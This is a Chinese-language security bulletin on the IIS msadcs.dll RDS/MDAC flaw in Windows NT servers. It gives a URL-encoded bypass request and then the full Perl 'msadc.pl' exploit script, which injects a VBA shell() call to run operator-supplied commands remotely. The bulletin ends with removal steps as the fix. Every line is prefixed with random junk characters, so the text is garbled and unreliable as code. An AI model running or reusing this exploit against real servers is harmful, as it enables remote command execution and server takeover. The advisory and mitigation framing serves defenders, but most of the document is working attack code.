IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(t"YoWA#m 'KW+Rr~tZn 涉及程序：
u.xA}yVS Microsoft NT server
a7 '\ * =fu_ Jau} 描述：
0 ^-b} 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8 )2u@sx% ES:p^/ =* 详细：
]T28q/B;k 如果你没有时间读详细内容的话，就删除:
b^|,9en c:\Program Files\Common Files\System\Msadc\msadcs.dll
: ;gwdZ 有关的安全问题就没有了。
6`{)p&9 8)Bn?6. 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
s#8{: ko ROI $;B( 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
4tN~UMw? 关于利用ODBC远程漏洞的描述，请参看:
h^3Vd K, 'rcs K http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm | Y,X=Ed 5E !|on 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
a 6K$omu http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4QN6BZJ5 C J}4V! ;| 这里不再论述。
=*O9)$b 70 D Q/b 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
j(2tbWg9- S3[o A& /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
L:]; [ xa% 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
sjgxx7 Q0oDl8~ '\3.isTsx #将下面这段保存为txt文件，然后: "perl -x 文件名"
DW;.R<8 l>Oe ,`9O #!perl
;:K?7w fXn #
B tDgv.;GH # MSADC/RDS 'usage' (aka exploit) script
HoQ(1e$G- #
zJym`NF # by rain.forest.puppy
?eZ"UGZg' #
A_dYN?^?| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
{~
vPq # beta test and find errors!
z8MpE -Z Ml[;OM use Socket; use Getopt::Std;
@x\gk5 getopts("e:vd:h:XR", \%args);
(4/ `@;[ 9= ;g4I print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
9H Bx[2& ;R-Q,aCM} if (!defined $args{h} && !defined $args{R}) {
u=?P*Y/|W print qq~
X$Qi[=L Usage: msadc.pl -h <host> { -d <delay> -X -v }
Hwi7oXP -h <host> = host you want to scan (ip or domain)
:Y&W)V- -d <seconds> = delay between calls, default 1 second
N_~W u -X = dump Index Server path table, if available
vmQ
DcCw -v = verbose
% w/1Uo24 -e = external dictionary file for step 5
;@$, "
P So0,) Or a -R will resume a command session
bu!<0AP"N+ [ZpG+VAJ8 ~; exit;}
a~+WL Xwqf Wd_ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
7qdl,z if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!N2 n@bo if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<Ucfd
G&Lp if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
w2_I/s6B $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>5Rw~ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Bk(XJAjY dXSb%ho if (!defined $args{R}){ $ret = &has_msadc;
2T?1X{g die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?@7| Q/ E rUk>V print "Please type the NT commandline you want to run (cmd /c assumed):\n"
l<:)rg^, . "cmd /c ";
eFI9S.6 $in=<STDIN>; chomp $in;
>WG91b<Xq $command="cmd /c " . $in ;
dJgOfg^ E;*TRr>< if (defined $args{R}) {&load; exit;}
$+yQ48Wq =(uy':Dbn* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1 jd=R7 &try_btcustmr;
9U%}" uE ;R >42
qYF print "\nStep 2: Trying to make our own DSN...";
|zegnq~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
i}12mjF rs)aEmvC print "\nStep 3: Trying known DSNs...";
=cX"gI[ &known_dsn;
X| 0`$f vG=$UUh@~ print "\nStep 4: Trying known .mdbs...";
*`/@[S2,cu &known_mdb;
g{.@|;d <p <\Dl#DH if (defined $args{e}){
)=y6s^} print "\nStep 5: Trying dictionary of DSN names...";
|Szr=[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~ .=HN}E
oEf^o*5( print "Sorry Charley...maybe next time?\n";
$XzlW=3y exit;
Qpu2RfP G\+MT(&5 ##############################################################################
[1X5r<(W5 Jywz27j sub sendraw { # ripped and modded from whisker
\^Q)`Lqp:g sleep($delay); # it's a DoS on the server! At least on mine...
&^<T/P iR my ($pstr)=@_;
E<[
bgL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Hm[!R:HW,S die("Socket problems\n");
eyp\h8!u_ if(connect(S,pack "SnA4x8",2,80,$target)){
@Pg@ltUd select(S); $|=1;
bGLp0\0[ print $pstr; my @in=<S>;
>.sN?5}y select(STDOUT); close(S);
?v*7!2; return @in;
{dH<Un(4Z } else { die("Can't connect...\n"); }}
Z4tq&^ :c= <J uJ`t ##############################################################################
3S21DC@Y xVo)!83+Q sub make_header { # make the HTTP request
"uNxKL DB my $msadc=<<EOT
^qy-el POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8 ?R_O}U User-Agent: ACTIVEDATA
\r&@3a.> Host: $ip
HBYpjxh Content-Length: $clen
ho=]'MS| Connection: Keep-Alive
FK(' E3PG tA n6 pGp ADCClientVersion:01.06
y.NArN|% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%HS!^j 3C% Q(Y,p`> --!ADM!ROX!YOUR!WORLD!
+VFwYdW, Content-Type: application/x-varg
pIjVJ9+j Content-Length: $reqlen
]@ g$<& h2*&>Mc EOT
~&jCz4M ; $msadc=~s/\n/\r\n/g;
-v2q:x'G# return $msadc;}
"C|l3X' G+p>39P ##############################################################################
+u)$o PA[Rhoit, sub make_req { # make the RDS request
L-T Ve my ($switch, $p1, $p2)=@_;
'Z9F0l"Nr my $req=""; my $t1, $t2, $query, $dsn;
I=-;*3g6 73<yrBxp if ($switch==1){ # this is the btcustmr.mdb query
`a9>4 $query="Select * from Customers where City=" . make_shell();
H( m+rk $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Um| Tf]q $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
BGjTa.& Q*(C)/ QW elsif ($switch==2){ # this is general make table query
,_-*/- 7;8 $query="create table AZZ (B int, C varchar(10))";
d8I:F9 $dsn="$p1";}
bME3" e{O
w#b2iE+Bw elsif ($switch==3){ # this is general exploit table query
md
s\~l73 $query="select * from AZZ where C=" . make_shell();
`v
er "s; $dsn="$p1";}
9D21e(7X EF~PM elsif ($switch==4){ # attempt to hork file info from index server
pdu $query="select path from scope()";
{<n)zLy $dsn="Provider=MSIDXS;";}
N/=3Bs0y- Z}f_\d' elsif ($switch==5){ # bad query
S!cXc/H-R $query="select";
1i2O]e! $dsn="$p1";}
p$ <qT^]& a06q-3zw $t1= make_unicode($query);
}A ^,y $t2= make_unicode($dsn);
P
ie!Su` $req = "\x02\x00\x03\x00";
1i2w<VG1 $req.= "\x08\x00" . pack ("S1", length($t1));
h!]A(T\J $req.= "\x00\x00" . $t1 ;
u{z{3 fW_ $req.= "\x08\x00" . pack ("S1", length($t2));
'kK%sE $req.= "\x00\x00" . $t2 ;
9mm(?O~'p $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`7ZJB$7D|* return $req;}
?8/h3xV; _ \[G7 ##############################################################################
';F][x 5j 1>{(dd?L sub make_shell { # this makes the shell() statement
) P])0Y- return "'|shell(\"$command\")|'";}
{D#`+uw n5/Q)*e0'# ##############################################################################
( v}: YJ$
=`lIM sub make_unicode { # quick little function to convert to unicode
bS<p dOX_ my ($in)=@_; my $out;
0rUf'S
?K for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Awh)@iTL return $out;}
m ws.) A@r,A?( ##############################################################################
G.T1 rUh= !HYqM(|{. sub rdo_success { # checks for RDO return success (this is kludge)
cGKk2'v ? my (@in) = @_; my $base=content_start(@in);
4N&}hOM'S if($in[$base]=~/multipart\/mixed/){
2D"/k 'iA return 1 if( $in[$base+10]=~/^\x09\x00/ );}
q4oZJ -` return 0;}
,,gYU_ V e+ TNG &_ ##############################################################################
5c8x:
e@ N 5DS-gv sub make_dsn { # this makes a DSN for us
b.&YUg[# my @drives=("c","d","e","f");
^p/mJ1/s7 print "\nMaking DSN: ";
cO9Aw ! foreach $drive (@drives) {
K%;yFEZ print "$drive: ";
~O6=dR
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
W{d/ m;<@N "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1\uS~RR . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
<Vb{QOgc; $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
uip]K{/A!e return 0 if $2 eq "404"; # not found/doesn't exist
r g\w!L( if($2 eq "200") {
# 4>F%_ foreach $line (@results) {
` 0F
IJT return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
yM@cml6Ox } return 0;}
1wt]J!hgV X*Zv,Wm ##############################################################################
$) !Z "2T 4NIfQYC. sub verify_exists {
$P_Y8: my ($page)=@_;
jYv
! } my @results=sendraw("GET $page HTTP/1.0\n\n");
vCM'nkXY return $results[0];}
tP-c>|cz =_Rd0, ##############################################################################
;nE}%lT ; ]! sub try_btcustmr {
z?xd\x my @drives=("c","d","e","f");
|1o]d$3m my @dirs=("winnt","winnt35","winnt351","win","windows");
"/5b3^a sTDBK!9I foreach $dir (@dirs) {
2Z~o frj print "$dir -> "; # fun status so you can see progress
6 %-2G@6d foreach $drive (@drives) {
`E c+i print "$drive: "; # ditto
MZ'HMYed $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ZUyc J-[ $reqlenlen=length( "$reqlen" );
[aC(Ga} $clen= 206 + $reqlenlen + $reqlen;
cf9y0 {;U:0BPI3 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Nsq%b?# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
iKwVYL else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
.PgkHb=l@ r +Y1m\ ##############################################################################
x{E[qH_1Fm d<o sub odbc_error {
^_uzr}LE` my (@in)=@_; my $base;
YQ/ *| my $base = content_start(@in);
}O/Nn0, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
q2y:b qLWl $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@p; 4g_F $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.;'xm_Gw< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
AO6;a T return $in[$base+4].$in[$base+5].$in[$base+6];}
F+G Q l print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<S
qbj; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.JE7vPv%! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
M%/ D:0 Ts\7)6|F ##############################################################################
!wgj$5Rw. {<@~;iq sub verbose {
/.r($S g^ my ($in)=@_;
15C Owc*k return if !$verbose;
?4_;9MkN print STDOUT "\n$in\n";}
_[ x(p 6Xp Hi Yx(hY ##############################################################################
%}/)_RzQ n2E2V<# sub save {
hf[K\aAk my ($p1, $p2, $p3, $p4)=@_;
MEu-lM7v open(OUT, ">rds.save") || print "Problem saving parameters...\n";
KGIz)/eSg print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
[ LCi, close OUT;}
m<E7cY3mX I ; _.tG ##############################################################################
Nn$$yUkMX VaB7)r sub load {
0pQ>V) my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,Gfnf%H\8> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
p:
o*= @p=<IN>; close(IN);
z,)Fv s4U. $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
m#Cp.|>kP4 $target= inet_aton($ip) || die("inet_aton problems");
*;Vq0a! print "Resuming to $ip ...";
2.6,c$2tB $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
cMj<k8.{ if($p[1]==1) {
x\*5A,w{c] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#xmUND`@ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*jYwcW"R{z my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
9} vWTt0 if (rdo_success(@results)){print "Success!\n";}
q9OIw1xQr* else { print "failed\n"; verbose(odbc_error(@results));}}
` F)Iv:;y, elsif ($p[1]==3){
[f'7 /w+ if(run_query("$p[3]")){
U5Y*x m< print "Success!\n";} else { print "failed\n"; }}
@:Ns`+ W* elsif ($p[1]==4){
Th8 xh=F[ if(run_query($drvst . "$p[3]")){
ZrTq)BZ print "Success!\n"; } else { print "failed\n"; }}
thh, V exit;}
\sk,3b-&' [-l^,,E ##############################################################################
yH Cc@`1. e "v Eh sub create_table {
m>iuy:ti my ($in)=@_;
~Sh}\&3p $reqlen=length( make_req(2,$in,"") ) - 28;
@t_<oOI2 $reqlenlen=length( "$reqlen" );
k z#DBh!& $clen= 206 + $reqlenlen + $reqlen;
*
08LW|:, my @results=sendraw(make_header() . make_req(2,$in,""));
/F \7_ return 1 if rdo_success(@results);
t* COzE my $temp= odbc_error(@results); verbose($temp);
[\VzI\vb return 1 if $temp=~/Table 'AZZ' already exists/;
( nBsf1l return 0;}
^3e l-dZ O&}0 7( ##############################################################################
uuq?0t2Z VR'w$mp sub known_dsn {
b c+' n # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
hJ|z8Sy@1 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
WYq, i}S "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\UXQy{Ex "banner", "banners", "ads", "ADCDemo", "ADCTest");
b^ v.FK46G LE7o[<> foreach $dSn (@dsns) {
MFC= oKD print ".";
iB\d `NUf next if (!is_access("DSN=$dSn"));
]Y3ALQr! if(create_table("DSN=$dSn")){
>6@UjGj54 print "$dSn successful\n";
b&LhydaJ if(run_query("DSN=$dSn")){
w'UP#vT5& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|_O1V{Q= print "Something's borked. Use verbose next time\n";}}} print "\n";}
n44j]+ P 4-m}W;igu ##############################################################################
ddw!FH2W
(
"d A"N$ sub is_access {
&oT]ycz% my ($in)=@_;
C4b3Z cD2 $reqlen=length( make_req(5,$in,"") ) - 28;
*bR _
C"- $reqlenlen=length( "$reqlen" );
FCg,p2 $clen= 206 + $reqlenlen + $reqlen;
v'|Dj ^3[ my @results=sendraw(make_header() . make_req(5,$in,""));
}+SnY8A=KZ my $temp= odbc_error(@results);
b7\nCRY verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3c6 <JW return 0;}
le*pd+> j vZ*5 93C8 ##############################################################################
-q -%) f _N<8!(|w sub run_query {
NWTsL OIm my ($in)=@_;
wt-)5f'{ $reqlen=length( make_req(3,$in,"") ) - 28;
U2G\GU1 X $reqlenlen=length( "$reqlen" );
` AYHCn $clen= 206 + $reqlenlen + $reqlen;
HIF.;ImG^ my @results=sendraw(make_header() . make_req(3,$in,""));
oqG
0 @@ return 1 if rdo_success(@results);
<}|+2f233+ my $temp= odbc_error(@results); verbose($temp);
u\6: Txqq return 0;}
PyII dTm IuRKj8J)o ##############################################################################
CA{c-kG T,k`WR sub known_mdb {
q'PA2a: my @drives=("c","d","e","f","g");
w@hm>6j my @dirs=("winnt","winnt35","winnt351","win","windows");
La9dFe-uu{ my $dir, $drive, $mdb;
K !`t EW[ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:[ ,n`0lH Cf a?LgSz # this is sparse, because I don't know of many
KpSHf9!&[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
ni9/7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
U*)pUJ{&t "\\system32\\certmdb.mdb",
hM i`n6m "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^ng?+X>mP Zsaz#z|xW my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
g&v 2=&aj "\\cfusion\\cfapps\\forums\\forums_.mdb",
y +@7k3" "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
=T!M` "\\cfusion\\cfapps\\security\\realm_.mdb",
Uh*V>HA# "\\cfusion\\cfapps\\security\\data\\realm.mdb",
E{h "\\cfusion\\database\\cfexamples.mdb",
&g|-3 )A "\\cfusion\\database\\cfsnippets.mdb",
{ D$#m "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
,LG6py&aT "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
!MoGdI-<r[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
CmM K\R. "\\cfusion\\database\\smpolicy.mdb",
=p$1v{L8 "\\cfusion\\database\cypress.mdb",
-fYgTst2 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
I9H+ $Wjd "\\website\\cgi-win\\dbsample.mdb",
=!
/S | "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Fj|C+;Q. "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
h% pgdix ); #these are just
$:SHZe foreach $drive (@drives) {
k/c Q Jz foreach $dir (@dirs){
?PLf+S foreach $mdb (@sysmdbs) {
Hcuvu[)T" print ".";
)V} t(>V if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
;ZB[g78%R% print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
UZ v^3_,qz if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
IrJCZsk print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
M~ =9y m } else { print "Something's borked. Use verbose next time\n"; }}}}}
:4/ RB%)" V {ECDg P foreach $drive (@drives) {
a*! wiTGf foreach $mdb (@mdbs) {
"4|D"|wI) print ".";
a//<S?d$: if(create_table($drv . $drive . $dir . $mdb)){
o[0Cv* print "\n" . $drive . $dir . $mdb . " successful\n";
E\ 5t&jZr if(run_query($drv . $drive . $dir . $mdb)){
!Mceg print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
|I6\_K.=L } else { print "Something's borked. Use verbose next time\n"; }}}}
WM~@ /J }
/{ ^Qup WL+I)n8~ ##############################################################################
NO8)XJ 3s _5y3<H<? sub hork_idx {
z\{ y[3- print "\nAttempting to dump Index Server tables...\n";
*#w+*ywVZH print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
C8%q?.nH= $reqlen=length( make_req(4,"","") ) - 28;
w>J|416 $reqlenlen=length( "$reqlen" );
GeD^-.^ $clen= 206 + $reqlenlen + $reqlen;
b+9M? k" my @results=sendraw2(make_header() . make_req(4,"",""));
I 4 ,C-D if (rdo_success(@results)){
+\2{{~_z my $max=@results; my $c; my %d;
N\BB8<F for($c=19; $c<$max; $c++){
?V3e ;n $results[$c]=~s/\x00//g;
QJjqtOf> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h%9#~gJ}) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ZG"_M@S. $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5L'X3g
$d{"$1$2"}="";}
t3 2
FNg foreach $c (keys %d){ print "$c\n"; }
+QGZ2_vW } else {print "Index server doesn't seem to be installed.\n"; }}
2c
LIz@ 7X*$Fu< ##############################################################################
tU.Y$%4 7='lu ;=, sub dsn_dict {
M3!A?!BU open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:= C-P7
while(<IN>){
<!Ed ND = $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
|>Qj ] next if (!is_access("DSN=$dSn"));
1/:WA:]1 , if(create_table("DSN=$dSn")){
ozy~`$;c print "$dSn successful\n";
&A)AV<=>T if(run_query("DSN=$dSn")){
fucG 9B print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~7I XJeo n print "Something's borked. Use verbose next time\n";}}}
T%B&HsH print "\n"; close(IN);}
#`?B: 7VduewKX8 ##############################################################################
DD{-xCCR #?D wOUw sub sendraw2 { # ripped and modded from whisker
JTA 65T{3 sleep($delay); # it's a DoS on the server! At least on mine...
t2uX +1F my ($pstr)=@_;
).0klwfV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
B+:/!_ die("Socket problems\n");
ZF^$?;'3 if(connect(S,pack "SnA4x8",2,80,$target)){
@8{-B; print "Connected. Getting data";
dj>zy open(OUT,">raw.out"); my @in;
?S9? ?y/ select(S); $|=1; print $pstr;
fP# !ywgr% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
+"Flu.+[' close(OUT); select(STDOUT); close(S); return @in;
E">FH >8K} } else { die("Can't connect...\n"); }}
lA>^k;+> Y@B0.5U 2 ##############################################################################
R~
n[g C@1B?OfJ sub content_start { # this will take in the server headers
]-]K 4*{ my (@in)=@_; my $c;
f9ux+XQk 9 for ($c=1;$c<500;$c++) {
k+b!Lw!L if($in[$c] =~/^\x0d\x0a/){
jwhc;y if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
dxfF.\BFDn else { return $c+1; }}}
/vO8s?? return -1;} # it should never get here actually
=z#6mSx|W
i[_B~ /_ ##############################################################################
'-c
*S]: r /6",#B}%b sub funky {
-|V1A[ my (@in)=@_; my $error=odbc_error(@in);
imw,Nb if($error=~/ADO could not find the specified provider/){
"%]<Co<S print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?"04u*u3 exit;}
)}w2'(!X8 if($error=~/A Handler is required/){
Z$jqB~=^e print "\nServer has custom handler filters (they most likely are patched)\n";
In13crr4! exit;}
x#
M MrV&M if($error=~/specified Handler has denied Access/){
m ' HAt ~ print "\nServer has custom handler filters (they most likely are patched)\n";
~j3O0 s<gK exit;}}
_[F (8Q x" X\&CQiPS ##############################################################################
S7a05NO >V1vw7Pa sub has_msadc {
+guCTGD: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
e7tp4M9!% my $base=content_start(@results);
^I W5c>;| return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
r)<c
~\0 7 return 0;}
gOb"-;Zw M]|tXo$? ########################
t^ Z-0jH jEh Px CZZwBt$P 解决方案：
2 8 Q\{Z. 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
YF8; s4 2、移除web 目录: /msadc
